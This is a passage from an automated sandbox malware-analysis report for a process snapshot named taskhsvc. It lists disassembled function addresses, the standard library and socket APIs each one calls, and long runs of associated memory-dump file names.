Part of subcall function 00326B1B: free.MSVCRT ref: 00326D9F
Part of subcall function 00326B1B: _close.MSVCRT ref: 00326DB1
Part of subcall function 00326B1B: strchr.MSVCRT ref: 00326DED
Part of subcall function 00326B1B: strlen.MSVCRT ref: 00326E4C
Part of subcall function 00326B1B: free.MSVCRT ref: 00326EEB
Part of subcall function 00326B1B: _close.MSVCRT ref: 00326EFD
Part of subcall function 00326B1B: _close.MSVCRT ref: 00326F1D
Part of subcall function 00326B1B: memcpy.MSVCRT ref: 00326F3D
Part of subcall function 00326B1B: __stack_chk_fail.LIBSSP-0 ref: 00326F50

__stack_chk_fail.LIBSSP-0 ref: 002C05F7

Part of subcall function 002BFAA4: free.MSVCRT ref: 002BFC97
Part of subcall function 002BFAA4: free.MSVCRT ref: 002BFE2B
Part of subcall function 002BFAA4: free.MSVCRT ref: 002BFF60
Part of subcall function 002BFAA4: __stack_chk_fail.LIBSSP-0 ref: 002BFFCF

free.MSVCRT ref: 002C059D

Part of subcall function 00319B70: free.MSVCRT ref: 00319BA5
Part of subcall function 00319B70: free.MSVCRT ref: 00319BC7
Part of subcall function 00319B70: __stack_chk_fail.LIBSSP-0 ref: 00319BE1

Part of subcall function 00313842: __stack_chk_fail.LIBSSP-0 ref: 003138B7

Part of subcall function 002C0B63: abort.MSVCRT ref: 002C0D46
Part of subcall function 002C0B63: free.MSVCRT ref: 002C0E12
Part of subcall function 002C0B63: strerror.MSVCRT ref: 002C0ED3
Part of subcall function 002C0B63: abort.MSVCRT ref: 002C1041
Part of subcall function 002C0B63: memcmp.MSVCRT ref: 002C108C
Part of subcall function 002C0B63: abort.MSVCRT ref: 002C1101
Part of subcall function 002C0B63: free.MSVCRT ref: 002C1181
Part of subcall function 002C0B63: memcmp.MSVCRT ref: 002C11A6
Part of subcall function 002C0B63: abort.MSVCRT ref: 002C11E3
Part of subcall function 002C0B63: __stack_chk_fail.LIBSSP-0 ref: 002C129E

Memory Dump Source

Source File: 00000013.00000002.1855196147.00290000.00000040.sdmp, Offset: 001C0000, based on PE: true

Associated: 00000013.00000002.1854999429.001C0000.00000002.sdmp
Associated: 00000013.00000002.1855013399.001C1000.00000020.sdmp
Associated: 00000013.00000002.1855026342.001C9000.00000080.sdmp
Associated: 00000013.00000002.1855040395.001CA000.00000040.sdmp
Associated: 00000013.00000002.1855065746.00225000.00000080.sdmp
Associated: 00000013.00000002.1855077166.00228000.00000040.sdmp
Associated: 00000013.00000002.1855089255.0022F000.00000080.sdmp
Associated: 00000013.00000002.1855104216.00230000.00000040.sdmp
Associated: 00000013.00000002.1855122824.00266000.00000080.sdmp
Associated: 00000013.00000002.1855138358.00267000.00000040.sdmp
Associated: 00000013.00000002.1855155118.0028B000.00000080.sdmp
Associated: 00000013.00000002.1855168257.0028C000.00000040.sdmp
Associated: 00000013.00000002.1855182515.0028D000.00000080.sdmp
Associated: 00000013.00000002.1855225498.002D3000.00000080.sdmp
Associated: 00000013.00000002.1855239885.002D4000.00000040.sdmp
Associated: 00000013.00000002.1855254056.002D6000.00000080.sdmp
Associated: 00000013.00000002.1855272578.002D7000.00000040.sdmp
Associated: 00000013.00000002.1855294963.002D8000.00000080.sdmp
Associated: 00000013.00000002.1855305598.002D9000.00000040.sdmp
Associated: 00000013.00000002.1855317495.002DA000.00000080.sdmp
Associated: 00000013.00000002.1855329417.002DC000.00000040.sdmp
Associated: 00000013.00000002.1855351346.00348000.00000080.sdmp
Associated: 00000013.00000002.1855370256.003BA000.00000040.sdmp
Associated: 00000013.00000002.1855382391.003C3000.00000080.sdmp
Associated: 00000013.00000002.1855395021.003C4000.00000040.sdmp
Associated: 00000013.00000002.1855406286.003C6000.00000080.sdmp
Associated: 00000013.00000002.1855419002.003CA000.00000040.sdmp
Associated: 00000013.00000002.1855435469.003CC000.00000080.sdmp
Associated: 00000013.00000002.1855447997.003CE000.00000040.sdmp
Associated: 00000013.00000002.1855459106.003CF000.00000080.sdmp
Associated: 00000013.00000002.1855472726.003D0000.00000040.sdmp
Associated: 00000013.00000002.1855490051.003D3000.00000080.sdmp
Associated: 00000013.00000002.1855500813.003D4000.00000040.sdmp
Associated: 00000013.00000002.1855512417.003D8000.00000080.sdmp
Associated: 00000013.00000002.1855523270.003D9000.00000040.sdmp
Associated: 00000013.00000002.1855533374.003E0000.00000080.sdmp
Associated: 00000013.00000002.1855544480.003E1000.00000040.sdmp
Associated: 00000013.00000002.1855556363.003E4000.00000080.sdmp
Associated: 00000013.00000002.1855569787.003E5000.00000040.sdmp
Associated: 00000013.00000002.1855588250.003F6000.00000080.sdmp
Associated: 00000013.00000002.1855603610.003FE000.00000004.sdmp
Associated: 00000013.00000002.1855617063.003FF000.00000008.sdmp
Associated: 00000013.00000002.1855627940.00400000.00000004.sdmp
Associated: 00000013.00000002.1855639237.00402000.00000008.sdmp
Associated: 00000013.00000002.1855664504.00403000.00000004.sdmp
Associated: 00000013.00000002.1855675077.00405000.00000008.sdmp
Associated: 00000013.00000002.1855685431.0040B000.00000004.sdmp
Associated: 00000013.00000002.1855695362.0040C000.00000002.sdmp
Associated: 00000013.00000002.1855714597.0049D000.00000004.sdmp
Associated: 00000013.00000002.1855722372.004A3000.00000008.sdmp
Associated: 00000013.00000002.1855730014.004A8000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_1c0000_taskhsvc.jbxd

Function 00312523, Relevance: 3.1, APIs: 2, Instructions: 113

APIs

Part of subcall function 0032FC04: exit.MSVCRT ref: 0032FC72
Part of subcall function 0032FC04: __stack_chk_fail.LIBSSP-0 ref: 0032FD09

Part of subcall function 00318F30: abort.MSVCRT ref: 00318F86
Part of subcall function 00318F30: localtime.MSVCRT ref: 00318F91
Part of subcall function 00318F30: memcpy.MSVCRT ref: 00318FB4
Part of subcall function 00318F30: __stack_chk_fail.LIBSSP-0 ref: 00318FE5

strftime.MSVCRT ref: 00312608

Part of subcall function 0031237C: __stack_chk_fail.LIBSSP-0(?,?,?,?,?,?,?,?,?,?,?,?,?,0031261B), ref: 003123F5

Part of subcall function 00316005: __stack_chk_fail.LIBSSP-0 ref: 0031605E

__stack_chk_fail.LIBSSP-0 ref: 0031266E

Memory Dump Source

Source File: 00000013.00000002.1855329417.002DC000.00000040.sdmp, Offset: 001C0000, based on PE: true

Associated: 00000013.00000002.1854999429.001C0000.00000002.sdmp
Associated: 00000013.00000002.1855013399.001C1000.00000020.sdmp
Associated: 00000013.00000002.1855026342.001C9000.00000080.sdmp
Associated: 00000013.00000002.1855040395.001CA000.00000040.sdmp
Associated: 00000013.00000002.1855065746.00225000.00000080.sdmp
Associated: 00000013.00000002.1855077166.00228000.00000040.sdmp
Associated: 00000013.00000002.1855089255.0022F000.00000080.sdmp
Associated: 00000013.00000002.1855104216.00230000.00000040.sdmp
Associated: 00000013.00000002.1855122824.00266000.00000080.sdmp
Associated: 00000013.00000002.1855138358.00267000.00000040.sdmp
Associated: 00000013.00000002.1855155118.0028B000.00000080.sdmp
Associated: 00000013.00000002.1855168257.0028C000.00000040.sdmp
Associated: 00000013.00000002.1855182515.0028D000.00000080.sdmp
Associated: 00000013.00000002.1855196147.00290000.00000040.sdmp
Associated: 00000013.00000002.1855225498.002D3000.00000080.sdmp
Associated: 00000013.00000002.1855239885.002D4000.00000040.sdmp
Associated: 00000013.00000002.1855254056.002D6000.00000080.sdmp
Associated: 00000013.00000002.1855272578.002D7000.00000040.sdmp
Associated: 00000013.00000002.1855294963.002D8000.00000080.sdmp
Associated: 00000013.00000002.1855305598.002D9000.00000040.sdmp
Associated: 00000013.00000002.1855317495.002DA000.00000080.sdmp
Associated: 00000013.00000002.1855351346.00348000.00000080.sdmp
Associated: 00000013.00000002.1855370256.003BA000.00000040.sdmp
Associated: 00000013.00000002.1855382391.003C3000.00000080.sdmp
Associated: 00000013.00000002.1855395021.003C4000.00000040.sdmp
Associated: 00000013.00000002.1855406286.003C6000.00000080.sdmp
Associated: 00000013.00000002.1855419002.003CA000.00000040.sdmp
Associated: 00000013.00000002.1855435469.003CC000.00000080.sdmp
Associated: 00000013.00000002.1855447997.003CE000.00000040.sdmp
Associated: 00000013.00000002.1855459106.003CF000.00000080.sdmp
Associated: 00000013.00000002.1855472726.003D0000.00000040.sdmp
Associated: 00000013.00000002.1855490051.003D3000.00000080.sdmp
Associated: 00000013.00000002.1855500813.003D4000.00000040.sdmp
Associated: 00000013.00000002.1855512417.003D8000.00000080.sdmp
Associated: 00000013.00000002.1855523270.003D9000.00000040.sdmp
Associated: 00000013.00000002.1855533374.003E0000.00000080.sdmp
Associated: 00000013.00000002.1855544480.003E1000.00000040.sdmp
Associated: 00000013.00000002.1855556363.003E4000.00000080.sdmp
Associated: 00000013.00000002.1855569787.003E5000.00000040.sdmp
Associated: 00000013.00000002.1855588250.003F6000.00000080.sdmp
Associated: 00000013.00000002.1855603610.003FE000.00000004.sdmp
Associated: 00000013.00000002.1855617063.003FF000.00000008.sdmp
Associated: 00000013.00000002.1855627940.00400000.00000004.sdmp
Associated: 00000013.00000002.1855639237.00402000.00000008.sdmp
Associated: 00000013.00000002.1855664504.00403000.00000004.sdmp
Associated: 00000013.00000002.1855675077.00405000.00000008.sdmp
Associated: 00000013.00000002.1855685431.0040B000.00000004.sdmp
Associated: 00000013.00000002.1855695362.0040C000.00000002.sdmp
Associated: 00000013.00000002.1855714597.0049D000.00000004.sdmp
Associated: 00000013.00000002.1855722372.004A3000.00000008.sdmp
Associated: 00000013.00000002.1855730014.004A8000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_1c0000_taskhsvc.jbxd

Function 001E557C, Relevance: 3.1, APIs: 2, Instructions: 74

APIs

__stack_chk_fail.LIBSSP-0 ref: 001E56D1

Part of subcall function 00316562: strrchr.MSVCRT ref: 00316586
Part of subcall function 00316562: strrchr.MSVCRT ref: 0031659C
Part of subcall function 00316562: __stack_chk_fail.LIBSSP-0 ref: 00316601

Part of subcall function 00319764: __stack_chk_fail.LIBSSP-0 ref: 00319857

abort.MSVCRT ref: 001E562E

Part of subcall function 001E52AC: abort.MSVCRT ref: 001E533A
Part of subcall function 001E52AC: __stack_chk_fail.LIBSSP-0(?,?,?,?,?,?,?,?,?,?,?,?,?,001C33C1), ref: 001E5350

Part of subcall function 001E5005: memcpy.MSVCRT ref: 001E50B2
Part of subcall function 001E5005: abort.MSVCRT ref: 001E5136
Part of subcall function 001E5005: __stack_chk_fail.LIBSSP-0 ref: 001E514C

Memory Dump Source

Source File: 00000013.00000002.1855040395.001CA000.00000040.sdmp, Offset: 001C0000, based on PE: true

Associated: 00000013.00000002.1854999429.001C0000.00000002.sdmp
Associated: 00000013.00000002.1855013399.001C1000.00000020.sdmp
Associated: 00000013.00000002.1855026342.001C9000.00000080.sdmp
Associated: 00000013.00000002.1855065746.00225000.00000080.sdmp
Associated: 00000013.00000002.1855077166.00228000.00000040.sdmp
Associated: 00000013.00000002.1855089255.0022F000.00000080.sdmp
Associated: 00000013.00000002.1855104216.00230000.00000040.sdmp
Associated: 00000013.00000002.1855122824.00266000.00000080.sdmp
Associated: 00000013.00000002.1855138358.00267000.00000040.sdmp
Associated: 00000013.00000002.1855155118.0028B000.00000080.sdmp
Associated: 00000013.00000002.1855168257.0028C000.00000040.sdmp
Associated: 00000013.00000002.1855182515.0028D000.00000080.sdmp
Associated: 00000013.00000002.1855196147.00290000.00000040.sdmp
Associated: 00000013.00000002.1855225498.002D3000.00000080.sdmp
Associated: 00000013.00000002.1855239885.002D4000.00000040.sdmp
Associated: 00000013.00000002.1855254056.002D6000.00000080.sdmp
Associated: 00000013.00000002.1855272578.002D7000.00000040.sdmp
Associated: 00000013.00000002.1855294963.002D8000.00000080.sdmp
Associated: 00000013.00000002.1855305598.002D9000.00000040.sdmp
Associated: 00000013.00000002.1855317495.002DA000.00000080.sdmp
Associated: 00000013.00000002.1855329417.002DC000.00000040.sdmp
Associated: 00000013.00000002.1855351346.00348000.00000080.sdmp
Associated: 00000013.00000002.1855370256.003BA000.00000040.sdmp
Associated: 00000013.00000002.1855382391.003C3000.00000080.sdmp
Associated: 00000013.00000002.1855395021.003C4000.00000040.sdmp
Associated: 00000013.00000002.1855406286.003C6000.00000080.sdmp
Associated: 00000013.00000002.1855419002.003CA000.00000040.sdmp
Associated: 00000013.00000002.1855435469.003CC000.00000080.sdmp
Associated: 00000013.00000002.1855447997.003CE000.00000040.sdmp
Associated: 00000013.00000002.1855459106.003CF000.00000080.sdmp
Associated: 00000013.00000002.1855472726.003D0000.00000040.sdmp
Associated: 00000013.00000002.1855490051.003D3000.00000080.sdmp
Associated: 00000013.00000002.1855500813.003D4000.00000040.sdmp
Associated: 00000013.00000002.1855512417.003D8000.00000080.sdmp
Associated: 00000013.00000002.1855523270.003D9000.00000040.sdmp
Associated: 00000013.00000002.1855533374.003E0000.00000080.sdmp
Associated: 00000013.00000002.1855544480.003E1000.00000040.sdmp
Associated: 00000013.00000002.1855556363.003E4000.00000080.sdmp
Associated: 00000013.00000002.1855569787.003E5000.00000040.sdmp
Associated: 00000013.00000002.1855588250.003F6000.00000080.sdmp
Associated: 00000013.00000002.1855603610.003FE000.00000004.sdmp
Associated: 00000013.00000002.1855617063.003FF000.00000008.sdmp
Associated: 00000013.00000002.1855627940.00400000.00000004.sdmp
Associated: 00000013.00000002.1855639237.00402000.00000008.sdmp
Associated: 00000013.00000002.1855664504.00403000.00000004.sdmp
Associated: 00000013.00000002.1855675077.00405000.00000008.sdmp
Associated: 00000013.00000002.1855685431.0040B000.00000004.sdmp
Associated: 00000013.00000002.1855695362.0040C000.00000002.sdmp
Associated: 00000013.00000002.1855714597.0049D000.00000004.sdmp
Associated: 00000013.00000002.1855722372.004A3000.00000008.sdmp
Associated: 00000013.00000002.1855730014.004A8000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_1c0000_taskhsvc.jbxd

Function 001F2301, Relevance: 3.1, APIs: 2, Instructions: 72

APIs

Part of subcall function 00316562: strrchr.MSVCRT ref: 00316586
Part of subcall function 00316562: strrchr.MSVCRT ref: 0031659C
Part of subcall function 00316562: __stack_chk_fail.LIBSSP-0 ref: 00316601

Part of subcall function 00319764: __stack_chk_fail.LIBSSP-0 ref: 00319857

Part of subcall function 001E8780: abort.MSVCRT ref: 001E87D6
Part of subcall function 001E8780: __stack_chk_fail.LIBSSP-0(?,?,?,?,?,?,?,?,?,?,?,?,?,001EA4BB), ref: 001E87E9

abort.MSVCRT ref: 001F232D

Part of subcall function 001E5005: memcpy.MSVCRT ref: 001E50B2
Part of subcall function 001E5005: abort.MSVCRT ref: 001E5136
Part of subcall function 001E5005: __stack_chk_fail.LIBSSP-0 ref: 001E514C

__stack_chk_fail.LIBSSP-0 ref: 001F2527

Part of subcall function 00206E53: abort.MSVCRT(?,?,?,?,?,?,?,?,?,001C35A2), ref: 00206EA5
Part of subcall function 00206E53: __stack_chk_fail.LIBSSP-0(?,?,?,?,?,?,?,?,?,001C35A2), ref: 00206EB6

Part of subcall function 00206E23: __stack_chk_fail.LIBSSP-0(?,?,?,?,?,001C3569), ref: 00206E4C

Part of subcall function 00313842: __stack_chk_fail.LIBSSP-0 ref: 003138B7

Part of subcall function 001E8860: abort.MSVCRT ref: 001E88CA
Part of subcall function 001E8860: __stack_chk_fail.LIBSSP-0(?,?,?,?,?,?,?,?,?,?,?,?,?,001E9EDC), ref: 001E88DD

Part of subcall function 0027DCF8: abort.MSVCRT ref: 0027DD82
Part of subcall function 0027DCF8: __stack_chk_fail.LIBSSP-0 ref: 0027DD95

Memory Dump Source

Source File: 00000013.00000002.1855040395.001CA000.00000040.sdmp, Offset: 001C0000, based on PE: true

Associated: 00000013.00000002.1854999429.001C0000.00000002.sdmp
Associated: 00000013.00000002.1855013399.001C1000.00000020.sdmp
Associated: 00000013.00000002.1855026342.001C9000.00000080.sdmp
Associated: 00000013.00000002.1855065746.00225000.00000080.sdmp
Associated: 00000013.00000002.1855077166.00228000.00000040.sdmp
Associated: 00000013.00000002.1855089255.0022F000.00000080.sdmp
Associated: 00000013.00000002.1855104216.00230000.00000040.sdmp
Associated: 00000013.00000002.1855122824.00266000.00000080.sdmp
Associated: 00000013.00000002.1855138358.00267000.00000040.sdmp
Associated: 00000013.00000002.1855155118.0028B000.00000080.sdmp
Associated: 00000013.00000002.1855168257.0028C000.00000040.sdmp
Associated: 00000013.00000002.1855182515.0028D000.00000080.sdmp
Associated: 00000013.00000002.1855196147.00290000.00000040.sdmp
Associated: 00000013.00000002.1855225498.002D3000.00000080.sdmp
Associated: 00000013.00000002.1855239885.002D4000.00000040.sdmp
Associated: 00000013.00000002.1855254056.002D6000.00000080.sdmp
Associated: 00000013.00000002.1855272578.002D7000.00000040.sdmp
Associated: 00000013.00000002.1855294963.002D8000.00000080.sdmp
Associated: 00000013.00000002.1855305598.002D9000.00000040.sdmp
Associated: 00000013.00000002.1855317495.002DA000.00000080.sdmp
Associated: 00000013.00000002.1855329417.002DC000.00000040.sdmp
Associated: 00000013.00000002.1855351346.00348000.00000080.sdmp
Associated: 00000013.00000002.1855370256.003BA000.00000040.sdmp
Associated: 00000013.00000002.1855382391.003C3000.00000080.sdmp
Associated: 00000013.00000002.1855395021.003C4000.00000040.sdmp
Associated: 00000013.00000002.1855406286.003C6000.00000080.sdmp
Associated: 00000013.00000002.1855419002.003CA000.00000040.sdmp
Associated: 00000013.00000002.1855435469.003CC000.00000080.sdmp
Associated: 00000013.00000002.1855447997.003CE000.00000040.sdmp
Associated: 00000013.00000002.1855459106.003CF000.00000080.sdmp
Associated: 00000013.00000002.1855472726.003D0000.00000040.sdmp
Associated: 00000013.00000002.1855490051.003D3000.00000080.sdmp
Associated: 00000013.00000002.1855500813.003D4000.00000040.sdmp
Associated: 00000013.00000002.1855512417.003D8000.00000080.sdmp
Associated: 00000013.00000002.1855523270.003D9000.00000040.sdmp
Associated: 00000013.00000002.1855533374.003E0000.00000080.sdmp
Associated: 00000013.00000002.1855544480.003E1000.00000040.sdmp
Associated: 00000013.00000002.1855556363.003E4000.00000080.sdmp
Associated: 00000013.00000002.1855569787.003E5000.00000040.sdmp
Associated: 00000013.00000002.1855588250.003F6000.00000080.sdmp
Associated: 00000013.00000002.1855603610.003FE000.00000004.sdmp
Associated: 00000013.00000002.1855617063.003FF000.00000008.sdmp
Associated: 00000013.00000002.1855627940.00400000.00000004.sdmp
Associated: 00000013.00000002.1855639237.00402000.00000008.sdmp
Associated: 00000013.00000002.1855664504.00403000.00000004.sdmp
Associated: 00000013.00000002.1855675077.00405000.00000008.sdmp
Associated: 00000013.00000002.1855685431.0040B000.00000004.sdmp
Associated: 00000013.00000002.1855695362.0040C000.00000002.sdmp
Associated: 00000013.00000002.1855714597.0049D000.00000004.sdmp
Associated: 00000013.00000002.1855722372.004A3000.00000008.sdmp
Associated: 00000013.00000002.1855730014.004A8000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_1c0000_taskhsvc.jbxd

Function 00237E5D, Relevance: 3.1, APIs: 2, Instructions: 70

APIs

time.MSVCRT ref: 00237E82

Part of subcall function 0021F792: __stack_chk_fail.LIBSSP-0(?,?,?,?,?,00206074), ref: 0021F7B2

Part of subcall function 002C1E90: __stack_chk_fail.LIBSSP-0(?,?,?,?,?,?,?,?,?,00238007), ref: 002C1EC8

Part of subcall function 002B3FD0: __stack_chk_fail.LIBSSP-0 ref: 002B4030

Part of subcall function 00237F52: __stack_chk_fail.LIBSSP-0 ref: 00237FD2

__stack_chk_fail.LIBSSP-0 ref: 00237F4B

Memory Dump Source

Source File: 00000013.00000002.1855104216.00230000.00000040.sdmp, Offset: 001C0000, based on PE: true

Associated: 00000013.00000002.1854999429.001C0000.00000002.sdmp
Associated: 00000013.00000002.1855013399.001C1000.00000020.sdmp
Associated: 00000013.00000002.1855026342.001C9000.00000080.sdmp
Associated: 00000013.00000002.1855040395.001CA000.00000040.sdmp
Associated: 00000013.00000002.1855065746.00225000.00000080.sdmp
Associated: 00000013.00000002.1855077166.00228000.00000040.sdmp
Associated: 00000013.00000002.1855089255.0022F000.00000080.sdmp
Associated: 00000013.00000002.1855122824.00266000.00000080.sdmp
Associated: 00000013.00000002.1855138358.00267000.00000040.sdmp
Associated: 00000013.00000002.1855155118.0028B000.00000080.sdmp
Associated: 00000013.00000002.1855168257.0028C000.00000040.sdmp
Associated: 00000013.00000002.1855182515.0028D000.00000080.sdmp
Associated: 00000013.00000002.1855196147.00290000.00000040.sdmp
Associated: 00000013.00000002.1855225498.002D3000.00000080.sdmp
Associated: 00000013.00000002.1855239885.002D4000.00000040.sdmp
Associated: 00000013.00000002.1855254056.002D6000.00000080.sdmp
Associated: 00000013.00000002.1855272578.002D7000.00000040.sdmp
Associated: 00000013.00000002.1855294963.002D8000.00000080.sdmp
Associated: 00000013.00000002.1855305598.002D9000.00000040.sdmp
Associated: 00000013.00000002.1855317495.002DA000.00000080.sdmp
Associated: 00000013.00000002.1855329417.002DC000.00000040.sdmp
Associated: 00000013.00000002.1855351346.00348000.00000080.sdmp
Associated: 00000013.00000002.1855370256.003BA000.00000040.sdmp
Associated: 00000013.00000002.1855382391.003C3000.00000080.sdmp
Associated: 00000013.00000002.1855395021.003C4000.00000040.sdmp
Associated: 00000013.00000002.1855406286.003C6000.00000080.sdmp
Associated: 00000013.00000002.1855419002.003CA000.00000040.sdmp
Associated: 00000013.00000002.1855435469.003CC000.00000080.sdmp
Associated: 00000013.00000002.1855447997.003CE000.00000040.sdmp
Associated: 00000013.00000002.1855459106.003CF000.00000080.sdmp
Associated: 00000013.00000002.1855472726.003D0000.00000040.sdmp
Associated: 00000013.00000002.1855490051.003D3000.00000080.sdmp
Associated: 00000013.00000002.1855500813.003D4000.00000040.sdmp
Associated: 00000013.00000002.1855512417.003D8000.00000080.sdmp
Associated: 00000013.00000002.1855523270.003D9000.00000040.sdmp
Associated: 00000013.00000002.1855533374.003E0000.00000080.sdmp
Associated: 00000013.00000002.1855544480.003E1000.00000040.sdmp
Associated: 00000013.00000002.1855556363.003E4000.00000080.sdmp
Associated: 00000013.00000002.1855569787.003E5000.00000040.sdmp
Associated: 00000013.00000002.1855588250.003F6000.00000080.sdmp
Associated: 00000013.00000002.1855603610.003FE000.00000004.sdmp
Associated: 00000013.00000002.1855617063.003FF000.00000008.sdmp
Associated: 00000013.00000002.1855627940.00400000.00000004.sdmp
Associated: 00000013.00000002.1855639237.00402000.00000008.sdmp
Associated: 00000013.00000002.1855664504.00403000.00000004.sdmp
Associated: 00000013.00000002.1855675077.00405000.00000008.sdmp
Associated: 00000013.00000002.1855685431.0040B000.00000004.sdmp
Associated: 00000013.00000002.1855695362.0040C000.00000002.sdmp
Associated: 00000013.00000002.1855714597.0049D000.00000004.sdmp
Associated: 00000013.00000002.1855722372.004A3000.00000008.sdmp
Associated: 00000013.00000002.1855730014.004A8000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_1c0000_taskhsvc.jbxd

Function 00316FAD, Relevance: 3.1, APIs: 2, Instructions: 67

APIs

Part of subcall function 0031721B: __stack_chk_fail.LIBSSP-0(?,?,?,?,?,00316FE0), ref: 0031724B

socket.WS2_32 ref: 0031701F
__stack_chk_fail.LIBSSP-0 ref: 00317080

Part of subcall function 003172A4: ioctlsocket.WS2_32 ref: 003172DB
Part of subcall function 003172A4: __stack_chk_fail.LIBSSP-0 ref: 003172F0

Part of subcall function 00316D57: __stack_chk_fail.LIBSSP-0 ref: 00316DE2

Part of subcall function 00316CDC: __stack_chk_fail.LIBSSP-0(?,?,?,?,?,?,?,?,?,00316E12), ref: 00316D20

Part of subcall function 00316D27: __stack_chk_fail.LIBSSP-0(?,?,?,?,?,?,?,?,?,00316E8C), ref: 00316D50

Memory Dump Source

Source File: 00000013.00000002.1855329417.002DC000.00000040.sdmp, Offset: 001C0000, based on PE: true

Associated: 00000013.00000002.1854999429.001C0000.00000002.sdmp
Associated: 00000013.00000002.1855013399.001C1000.00000020.sdmp
Associated: 00000013.00000002.1855026342.001C9000.00000080.sdmp
Associated: 00000013.00000002.1855040395.001CA000.00000040.sdmp
Associated: 00000013.00000002.1855065746.00225000.00000080.sdmp
Associated: 00000013.00000002.1855077166.00228000.00000040.sdmp
Associated: 00000013.00000002.1855089255.0022F000.00000080.sdmp
Associated: 00000013.00000002.1855104216.00230000.00000040.sdmp
Associated: 00000013.00000002.1855122824.00266000.00000080.sdmp
Associated: 00000013.00000002.1855138358.00267000.00000040.sdmp
Associated: 00000013.00000002.1855155118.0028B000.00000080.sdmp
Associated: 00000013.00000002.1855168257.0028C000.00000040.sdmp
Associated: 00000013.00000002.1855182515.0028D000.00000080.sdmp
Associated: 00000013.00000002.1855196147.00290000.00000040.sdmp
Associated: 00000013.00000002.1855225498.002D3000.00000080.sdmp
Associated: 00000013.00000002.1855239885.002D4000.00000040.sdmp
Associated: 00000013.00000002.1855254056.002D6000.00000080.sdmp
Associated: 00000013.00000002.1855272578.002D7000.00000040.sdmp
Associated: 00000013.00000002.1855294963.002D8000.00000080.sdmp
Associated: 00000013.00000002.1855305598.002D9000.00000040.sdmp
Associated: 00000013.00000002.1855317495.002DA000.00000080.sdmp
Associated: 00000013.00000002.1855351346.00348000.00000080.sdmp
Associated: 00000013.00000002.1855370256.003BA000.00000040.sdmp
Associated: 00000013.00000002.1855382391.003C3000.00000080.sdmp
Associated: 00000013.00000002.1855395021.003C4000.00000040.sdmp
Associated: 00000013.00000002.1855406286.003C6000.00000080.sdmp
Associated: 00000013.00000002.1855419002.003CA000.00000040.sdmp
Associated: 00000013.00000002.1855435469.003CC000.00000080.sdmp
Associated: 00000013.00000002.1855447997.003CE000.00000040.sdmp
Associated: 00000013.00000002.1855459106.003CF000.00000080.sdmp
Associated: 00000013.00000002.1855472726.003D0000.00000040.sdmp
Associated: 00000013.00000002.1855490051.003D3000.00000080.sdmp
Associated: 00000013.00000002.1855500813.003D4000.00000040.sdmp
Associated: 00000013.00000002.1855512417.003D8000.00000080.sdmp
Associated: 00000013.00000002.1855523270.003D9000.00000040.sdmp
Associated: 00000013.00000002.1855533374.003E0000.00000080.sdmp
Associated: 00000013.00000002.1855544480.003E1000.00000040.sdmp
Associated: 00000013.00000002.1855556363.003E4000.00000080.sdmp
Associated: 00000013.00000002.1855569787.003E5000.00000040.sdmp
Associated: 00000013.00000002.1855588250.003F6000.00000080.sdmp
Associated: 00000013.00000002.1855603610.003FE000.00000004.sdmp
Associated: 00000013.00000002.1855617063.003FF000.00000008.sdmp
Associated: 00000013.00000002.1855627940.00400000.00000004.sdmp
Associated: 00000013.00000002.1855639237.00402000.00000008.sdmp
Associated: 00000013.00000002.1855664504.00403000.00000004.sdmp
Associated: 00000013.00000002.1855675077.00405000.00000008.sdmp
Associated: 00000013.00000002.1855685431.0040B000.00000004.sdmp
Associated: 00000013.00000002.1855695362.0040C000.00000002.sdmp
Associated: 00000013.00000002.1855714597.0049D000.00000004.sdmp
Associated: 00000013.00000002.1855722372.004A3000.00000008.sdmp
Associated: 00000013.00000002.1855730014.004A8000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_1c0000_taskhsvc.jbxd

Function 0031928D, Relevance: 3.0, APIs: 2, Instructions: 50

APIs

FormatMessageA.KERNELBASE ref: 003192E4

Part of subcall function 003213EE: abort.MSVCRT ref: 0032143E
Part of subcall function 003213EE: _strdup.MSVCRT ref: 00321449
Part of subcall function 003213EE: exit.MSVCRT ref: 0032148A
Part of subcall function 003213EE: __stack_chk_fail.LIBSSP-0 ref: 0032149D

__stack_chk_fail.LIBSSP-0 ref: 0031933D

Memory Dump Source

Source File: 00000013.00000002.1855329417.002DC000.00000040.sdmp, Offset: 001C0000, based on PE: true

Associated: 00000013.00000002.1854999429.001C0000.00000002.sdmp
Associated: 00000013.00000002.1855013399.001C1000.00000020.sdmp
Associated: 00000013.00000002.1855026342.001C9000.00000080.sdmp
Associated: 00000013.00000002.1855040395.001CA000.00000040.sdmp
Associated: 00000013.00000002.1855065746.00225000.00000080.sdmp
Associated: 00000013.00000002.1855077166.00228000.00000040.sdmp
Associated: 00000013.00000002.1855089255.0022F000.00000080.sdmp
Associated: 00000013.00000002.1855104216.00230000.00000040.sdmp
Associated: 00000013.00000002.1855122824.00266000.00000080.sdmp
Associated: 00000013.00000002.1855138358.00267000.00000040.sdmp
Associated: 00000013.00000002.1855155118.0028B000.00000080.sdmp
Associated: 00000013.00000002.1855168257.0028C000.00000040.sdmp
Associated: 00000013.00000002.1855182515.0028D000.00000080.sdmp
Associated: 00000013.00000002.1855196147.00290000.00000040.sdmp
Associated: 00000013.00000002.1855225498.002D3000.00000080.sdmp
Associated: 00000013.00000002.1855239885.002D4000.00000040.sdmp
Associated: 00000013.00000002.1855254056.002D6000.00000080.sdmp
Associated: 00000013.00000002.1855272578.002D7000.00000040.sdmp
Associated: 00000013.00000002.1855294963.002D8000.00000080.sdmp
Associated: 00000013.00000002.1855305598.002D9000.00000040.sdmp
Associated: 00000013.00000002.1855317495.002DA000.00000080.sdmp
Associated: 00000013.00000002.1855351346.00348000.00000080.sdmp
Associated: 00000013.00000002.1855370256.003BA000.00000040.sdmp
Associated: 00000013.00000002.1855382391.003C3000.00000080.sdmp
Associated: 00000013.00000002.1855395021.003C4000.00000040.sdmp
Associated: 00000013.00000002.1855406286.003C6000.00000080.sdmp
Associated: 00000013.00000002.1855419002.003CA000.00000040.sdmp
Associated: 00000013.00000002.1855435469.003CC000.00000080.sdmp
Associated: 00000013.00000002.1855447997.003CE000.00000040.sdmp
Associated: 00000013.00000002.1855459106.003CF000.00000080.sdmp
Associated: 00000013.00000002.1855472726.003D0000.00000040.sdmp
